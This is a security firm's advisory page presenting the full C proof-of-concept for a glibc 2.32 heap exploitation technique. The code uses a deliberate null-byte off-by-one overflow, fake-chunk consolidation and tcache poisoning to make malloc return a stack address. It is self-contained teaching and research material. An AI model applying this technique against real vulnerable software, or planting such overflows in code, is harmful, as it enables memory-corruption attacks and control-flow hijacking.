The House of Enherjar 2 - Heap Exploitation Technique

Apr 25, 2023

CVE Number

PTRZ-2023-0425

Credits

Huascar Tejeda of Pentraze Cybersecurity

Summary

The House of Enherjar modification that works with the tcache-option enabled on glibc-2.32. It uses an off-by-one overflow with a null byte to control the pointers returned by malloc(). It has the additional requirement of a heap leak.

After filling the tcache list to bypass the restriction of consolidating with a fake chunk, we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap. The following restriction for normal bins won’t allow us to create chunks bigger than the memory allocated from the system in this arena: malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c

Published on shellphish / how2heap: shellphish/how2heap/glibc_2.39/house_of_einherjar.c

house_of_einherjar.c:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main()
{
	/*
	 * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.
	 * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
	 * It has the additional requirement of a heap leak.
	 * 
	 * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
	 * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
	 * The following restriction for normal bins won't allow us to create chunks bigger than the memory
	 * allocated from the system in this arena:
	 *
	 * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */

	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("Welcome to House of Einherjar 2!\n");
	printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n");
	printf("Next, we use tcache poisoning to hijack control flow.\n"
		   "Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,"
		   "now tcache poisoning requires a heap leak.\n");

	// prepare the target,
	// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,
	// it must be properly aligned.
	intptr_t stack_var[0x10];
	intptr_t *target = NULL;

	// choose a properly aligned target address
	for(int i=0; i<0x10; i++) {
		if(((long)&stack_var[i] & 0xf) == 0) {
			target = &stack_var[i];
			break;
		}
	}
	assert(target != NULL);
	printf("\nThe address we want malloc() to return is %p.\n", (char *)target);

	printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
	intptr_t *a = malloc(0x38);

	// create a fake chunk
	printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
	printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");

	a[0] = 0;	// prev_size (Not Used)
	a[1] = 0x60; // size
	a[2] = (size_t) a; // fwd
	a[3] = (size_t) a; // bck

	printf("Our fake chunk at %p looks like:\n", a);
	printf("prev_size (not used): %#lx\n", a[0]);
	printf("size: %#lx\n", a[1]);
	printf("fwd: %#lx\n", a[2]);
	printf("bck: %#lx\n", a[3]);

	printf("\nWe allocate 0x28 bytes for 'b'.\n"
		   "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
		   "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
	uint8_t *b = (uint8_t *) malloc(0x28);
	printf("b: %p\n", b);

	int real_b_size = malloc_usable_size(b);
	printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);

	/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	printf("\nWe allocate 0xf8 bytes for 'c'.\n");
	uint8_t *c = (uint8_t *) malloc(0xf8);

	printf("c: %p\n", c);

	uint64_t* c_size_ptr = (uint64_t*)(c - 8);
	// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit

	printf("\nc.size: %#lx\n", *c_size_ptr);
	printf("c.size is: (0x100) | prev_inuse = 0x101\n");

	printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
	// VULNERABILITY
	b[real_b_size] = 0;
	// VULNERABILITY
	printf("c.size: %#lx\n", *c_size_ptr);

	printf("It is easier if b.size is a multiple of 0x100 so you "
		   "don't change the size of b, only its prev_inuse bit\n");

	// Write a fake prev_size to the end of b
	printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
		   "it will consolidate with our fake chunk\n", sizeof(size_t));
	size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
	printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
	*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;

	// Change the fake chunk's size to reflect c's new prev_size
	printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
	a[1] = fake_size;

	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);

	// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
	printf("\nFill tcache.\n");
	intptr_t *x[7];
	for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
		x[i] = malloc(0xf8);
	}

	printf("Fill up tcache list.\n");
	for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
		free(x[i]);
	}

	printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
	free(c);
	printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);

	printf("\nNow we can call malloc() and it will begin in our fake chunk\n");

	intptr_t *d = malloc(0x158);
	printf("Next malloc(0x158) is at %p\n", d);

	// tcache poisoning
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
		   "We have to create and free one more chunk for padding before fd pointer hijacking.\n");
	uint8_t *pad = malloc(0x28);
	free(pad);

	printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
	free(b);
	printf("Now the tcache list has [ %p -> %p ].\n", b, pad);

	printf("We overwrite b's fwd pointer using chunk 'd'\n");
	// requires a heap leak because it assumes the address of d is known.
	// since house of einherjar also requires a heap leak, we can simply just use it here.
	d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);

	// take target out
	printf("Now we can cash out the target chunk.\n");
	malloc(0x28);
	intptr_t *e = malloc(0x28);
	printf("\nThe new chunk is at %p\n", e);

	// sanity check
	assert(e == target);
	printf("Got control on target/stack!\n\n");
}

Servicios

Pruebas de Penetración

Evaluación proactiva utilizando tácticas, técnicas y procedimientos de atacantes reales para identificar fallas de seguridad, configuraciones incorrectas y vulnerabilidades.

Más información

Seguridad de Aplicaciones

Protección integral de aplicaciones, garantizando la seguridad en todas las fases del desarrollo.

Más información

Ejercicios de Red Team

Simulación avanzada de ataques cibernéticos para evaluar y mejorar la capacidad de respuesta de una organización.

Más información

Gestión de Vulnerabilidades

Proceso proactivo para identificar, priorizar y abordar las vulnerabilidades de seguridad en sistemas y software, mejorando la defensa de una organización contra las amenazas cibernéticas en evolución.

Más información